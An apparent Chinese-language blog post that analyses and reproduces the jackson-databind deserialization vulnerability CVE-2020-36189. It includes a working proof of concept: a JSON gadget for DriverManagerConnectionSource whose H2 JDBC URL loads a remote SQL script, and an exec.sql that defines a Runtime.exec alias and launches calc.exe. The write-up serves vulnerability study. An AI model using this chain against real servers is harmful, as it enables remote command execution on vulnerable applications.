CVE-2020-36189 jackson-databind java反序列化漏洞

漏洞原理

jackson-databind是一套开源的java序列化与反序列化工具框架,可将java对象序列化为xml和json格式的字符串及提供对应的反序列化过程。由于其解析效率较高,目前是Spring MVC中内置使用的解析方式,该漏洞的触发条件是ObjectMapper反序列化前调用了enableDefaultTyping方法。该方法允许json字符串中指定反序列化java对象的类名,而在使用Object、Map、List等对象时,可诱发反序列化漏洞,导致可执行任意命令。

jackson使用ObjectMapper作为转换的操作类,通过声明这个类来进行json的序列化与反序列化。

com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource类中实现了url的输入和调用,通过可控的url进行payload的打入,即可依靠ObjectMapper的反序列化漏洞实现SSRF和RCE。

如图是上述package的源码,在1处实现了对url的输入,在2处实现了调用,

在这里插入图片描述
所以本次漏洞利用的目标是通过反序列化json串,使项目执行DriverManager.getConnection(),构造参数实现远程执行命令
本次构建的目标是实现如下命令

DriverManager.getConnection(实现payload的数据库的url, username, password)

在这里插入图片描述

jbdc(java database connection)是一种java对数据库进行连接增删改查等操作的技术。
H2数据库是一个开源的内嵌式关系型数据库,此处使用了mem选项,数据直接存放在内存中。
TRACE_LEVEL_SYSTEM_OUT是某项设置,没有查到。
INIT=RUNSCRIPT FROM是在数据库连接时执行SQL语句。
在这里插入图片描述
上图是SQL语句形式的payload,即创建SHELLEXEC函数以执行。两组$$中间是作为引用将SHELLEXEC函数填写了java函数。

首先objectmapper.enableDefaultTyping()可以使mapper在读取时,识别除了自然类型(String, Int, Double等)之外的非常量类型,这个名字可以在json中写出,读取时便可以该类存储。
在这里插入图片描述
如图所示json字符串是[类名, {参数名:参数值,…,}]的形式,将对象的参数的类名打印,是json中的类名。

mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false)
参数设置,对象为空时不抛异常。

objectmapper.readvalue()将json串转化为了类对象,并将数值按参数填入。
objectmapper.writeValueAsString()再将对象转换为字符串。
在这里插入图片描述

那么为什么getConnection会执行又成了问题,源码太繁琐,工作量太大,换一个思路进行分析。
首先在userBase类里写下三个函数,分别是pubilic,private和CVE漏洞中本身的使用了java.sql中的Connection类的函数。
在这里插入图片描述
根据回显可以看到getConnection进行了执行,其余两项并没有

在这里插入图片描述

下载好h2数据库后,之前使用的payload也执行成功
在这里插入图片描述
但是如果直接赋值或是使用Class内部的setUsername方法均不会成功,因此推断是使用writeValueAsString序列化对象时会自动调用Connection方法。
在这里插入图片描述在jackson源码中进行了对类中方法的扫描
在这里插入图片描述
源码太过复杂,源码级别分析确实过于困难,只能得出在使用writeValueAsString方法时Connection会自动执行的结论
首先简化Class,并将setUsername注释,可以看见payload执行成功
在这里插入图片描述
将public改为private,payload执行失败

在这里插入图片描述
之后取消set方法的注释,payload执行成功
在这里插入图片描述

因此该漏洞有两个利用条件:
–目标类中需要存在Connection方法
–Connection方法中的DriverManager.getConnection()中的参数需要可控
以上思路存在于CVE-2020-36179一直到CVE-2020-36189

漏洞复现

1、开启MVN项目,填写pom.xml,下载依赖
在这里插入图片描述
2、填写payload
在这里插入图片描述在这里插入图片描述
3、将sql文件放到http服务上,执行payload使程序获取sql文件,通过反序列化使其执行sql文件内的命令,弹出计算器代表利用成功
在这里插入图片描述

附录

依赖项:

<dependencies>
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>2.9.10.7</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/com.newrelic.agent.java/newrelic-agent -->
        <dependency>
            <groupId>com.newrelic.agent.java</groupId>
            <artifactId>newrelic-agent</artifactId>
            <version>4.9.0</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/com.h2database/h2 -->
        <dependency>
            <groupId>com.h2database</groupId>
            <artifactId>h2</artifactId>
            <version>1.4.199</version>
        </dependency>

        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-nop</artifactId>
            <version>1.7.2</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
        <dependency>
            <groupId>javax.transaction</groupId>
            <artifactId>jta</artifactId>
            <version>1.1</version>
        </dependency>
</dependencies>

POC

public class POC {
    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
        String json = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource\"," +
                " {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/exec.sql'\"}]";
        Object obj = mapper.readValue(json, Object.class);
        mapper.writeValueAsString(obj);
    }
}

exec.sql

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('calc.exe')
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值